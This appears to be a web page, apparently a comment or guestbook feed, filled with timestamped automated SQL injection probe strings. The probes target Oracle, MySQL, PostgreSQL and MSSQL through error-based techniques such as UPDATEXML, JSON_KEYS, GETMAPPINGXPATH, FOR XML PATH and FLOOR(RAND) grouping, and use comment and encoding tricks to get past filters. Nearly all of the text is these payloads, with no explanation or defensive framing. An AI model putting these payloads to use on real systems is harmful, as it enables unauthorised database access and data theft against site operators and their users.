1')ANd//5984=ORDsys.oRD_DIcOm.GETMAPpIngXPAtH(7457,CHr(126)||%27~%27||(SELECT//(CASE//when//(5984=5984)//THen//1//eLsE//0//EnD)//FROM/**/DUAL)||%27~%27||Chr(126),Chr(126)) AND ('jyj6951q' LIKE 'jyj6951q 2026-02-18 - 20:55:57

1

1%'AND//5720=ORDSYS.ORD_DICOM.GETMAPPINGXPATH(7309,CHR(126)||'~'||(SELECT//(CASE//WHEN//(5720=5720)//THEN//1//ELSE//0//END)//FROM/**/DUAL)||'~'||CHR(126),CHR(126)) AND 'W7LMMrzT%'='W7LMMrzT 2026-02-18 - 20:55:58

1

1'))anD//3503=ORDSYs.ord_Dicom.getMaPPInGXpATh(9050,chr(126)||%27~%27||(SEleCt//(caSE//WhEn//(3503=3503)//THEn//1//ELsE//0//eNd)//FrOm/**/duAL)||%27~%27||chR(126),cHr(126)) AND (('AkcJcLXd' LIKE 'AkcJcLXd 2026-02-18 - 20:58:36

1

1'))),(SELECT//UPPER(XMLType(CHR(60)||CHR(58)||'~'||(SELECT//(CASE//WHEN//(7784=7784)//THEN//1//ELSE//0//END)//FROM//DUAL)||'~'||CHR(62)))//FROM/**/DUAL) AND ((('u5rr4lRu' LIKE 'u5rr4lRu 2026-02-18 - 21:09:49

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1

1"AND//(SELECT//2*(IF((SELECT/**/*//FROM//(SELECT//CONCAT('~',(SELECT//(ELT(3882=3882,1))),'~','x'))s),//8446744073709551610,//8446744073709551610))) AND "yNJ5JECH" LIKE "yNJ5JECH" 2026-02-18 - 21:12:52

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1

1" AND //PROCEDURE//ANALYSE(UPDATEXML(10018,CONCAT('.','~',(SELECT/**/(ELT(10018=10018,1))),'~'),8544),1)-- - 2026-02-18 - 21:44:23

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1

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1 2026-02-18 - 21:51:16

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1" AND AND%0D9862=CAST(%27~%27+(SELECT%06(CASE%0FWHEN%0B(9862=9862)%0ATHEN%0E%271%27%0BELSE%01%270%27%0CEND))+%27~%27%0DAS%04INT)-- - 2026-02-18 - 21:56:57

1

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1

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1

1"AND//10398=ORDSYS.ORD_DICOM.GETMAPPINGXPATH(1917,CHR(126)||'~'||(SELECT//(CASE//WHEN//(10398=10398)//THEN//1//ELSE//0//END)//FROM/**/DUAL)||'~'||CHR(126),CHR(126)) AND "ccwrtsN0" LIKE "ccwrtsN0" 2026-02-18 - 22:11:25

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1 2026-02-18 - 22:11:36

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1AND//JSON_KEYS((SELECT//CONVERT((SELECT//CONCAT('~',(SELECT//(ELT(2733=2733,1))),'~'))//USING//utf8)))# ZMDCpHSr 2026-02-18 - 22:29:38

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1||(SELECT '2ftng4Gn' WHERE 5966=5966AND//JSON_KEYS((SELECT//CONVERT((SELECT//CONCAT('~',(SELECT//(ELT(2467=2467,1))),'~'))//USING//utf8))))|| 2026-02-18 - 22:36:07

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1+(SELECT Q0F5GY9W WHERE 5085=5085AND//JSON_KEYS((SELECT//CONVERT((SELECT//CONCAT('~',(SELECT//(ELT(10127=10127,1))),'~'))//USING//utf8))))+ 2026-02-18 - 22:42:22

1

1AND//JSON_KEYS((SELECT//CONVERT((SELECT//CONCAT('~',(SELECT//(ELT(1733=1733,1))),'~'))//USING//utf8))) PROCEDURE ANALYSE(7661,1)-- - 2026-02-18 - 22:48:18

1

1)))(SELECT//2116//FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(2116=2116,1))),'~',FLOOR(RAND(0)*2))x//FROM//INFORMATION_SCHEMA.PLUGINS//GROUP//BY/**/x)a) AND (((3542=3542 2026-02-18 - 22:57:39

1

1(/!50000SELECT/4987/!50000FROM/(/!50000SELECT//!50000COUNT/(),/!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(4987=4987,1))),%27~%27,FLOOR(RAND(0)2))x/!50000FROM/INFORMATION_SCHEMA.PLUGINS/!50000GROUP//!50000BY/x)a)-- - 2026-02-18 - 23:18:14

1

1(SELECT//7674//FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(7674=7674,1))),'~',FLOOR(RAND(0)*2))x//FROM//INFORMATION_SCHEMA.PLUGINS//GROUP//BY/**/x)a) PROCEDURE ANALYSE(3003,1)-- - 2026-02-18 - 23:18:15

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1 AND ,(/!50000SELECT/10303/!50000FROM/(/!50000SELECT/2(IF((/!50000SELECT//!50000FROM/(/!50000SELECT//!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(10303=10303,1))),%27~%27,%27x%27))s),//8446744073709551610,//8446744073709551610)))x)-- - 2026-02-18 - 23:23:38

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1

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1

1) AS DMGalHFk WHERE 8670=8670,UPDATEXML(2836,CONCAT('.','~',(SELECT/**/(ELT(2836=2836,1))),'~'),9121)-- - 2026-02-19 - 01:10:42

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1,(CAST('~'||(SELECT//1//FROM//GENERATE_SERIES(1102,1102,CASE//WHEN//(1102=1102)//THEN//1//ELSE//0//END)//LIMIT//1)::text||'~'//AS//NUMERIC))-- - 2026-02-19 - 01:56:23

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1(SELECT//'~'+(SELECT//(CASE//WHEN//(7121=7121)//THEN//'1'//ELSE//'0'//END))+'~'//FOR//XML//PATH(''))-- - 2026-02-19 - 02:50:48

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1' WHERE 2862=2862AND//JSON_KEYS((SELECT//CONVERT((SELECT//CONCAT('~',(SELECT//(ELT(10467=10467,1))),'~'))//USING//utf8)))-- - 2026-02-19 - 03:45:52

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1' IN BOOLEAN MODE)AND//4064=(SELECT//UPPER(CHR(126)||'~'||(SELECT//(CASE//WHEN//(4064=4064)//THEN//1//ELSE//0//END)//FROM//DUAL)||'~'||CHR(126))//FROM//DUAL//WHERE//DBMS_RANDOM.VALUE(5254,6038)=8026)# 2026-02-19 - 08:01:42

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1")))AND//5175::2581=(%27~%27||(SELeCT//(CASe//WHen//(5175=5175)//theN//1//elsE//0/**/enD))::TeXt||%27~%27)::7810 AND ((("d4hSwFJH"="d4hSwFJH" 2026-02-19 - 09:28:17

1

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1

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1

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1

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1

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1

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1

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1

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1

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1

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1/!50000AND/ROW(2929,3598)>(/!50000SELECT//!50000COUNT/(),/!50000CONCAT/(%27~%27,(/!50000SELECT/(ELT(2929=2929,1))),%27~%27,FLOOR(RAND(0)2))x/!50000FROM/(/!50000SELECT/3701/!50000UNION//!50000SELECT/6700/!50000UNION//!50000SELECT/8661/!50000UNION//!50000SELECT/2109)a/!50000GROUP//!50000BY/x)-- - 2026-02-19 - 22:07:55

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1AND//ROW(6248,3379)>(SELECT//COUNT(*),CONCAT('~',(SELECT/**/(ELT(6248=6248,1))),'~',FLOOR(RAND(0)*2))x//FROM//(SELECT//1790//UNION//SELECT//1557//UNION//SELECT//10850//UNION//SELECT//10613)a//GROUP//BY/**/x) PROCEDURE ANALYSE(8531,1)-- - 2026-02-19 - 22:07:55

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1,AND//ROW(3862,3976)>(SELECT//COUNT(*),CONCAT('~',(SELECT/**/(ELT(3862=3862,1))),'~',FLOOR(RAND(0)*2))x//FROM//(SELECT//4461//UNION//SELECT//6387//UNION//SELECT//5474//UNION//SELECT//5621)a//GROUP//BY/**/x) PROCEDURE ANALYSE(1484,1)-- - 2026-02-19 - 22:10:09

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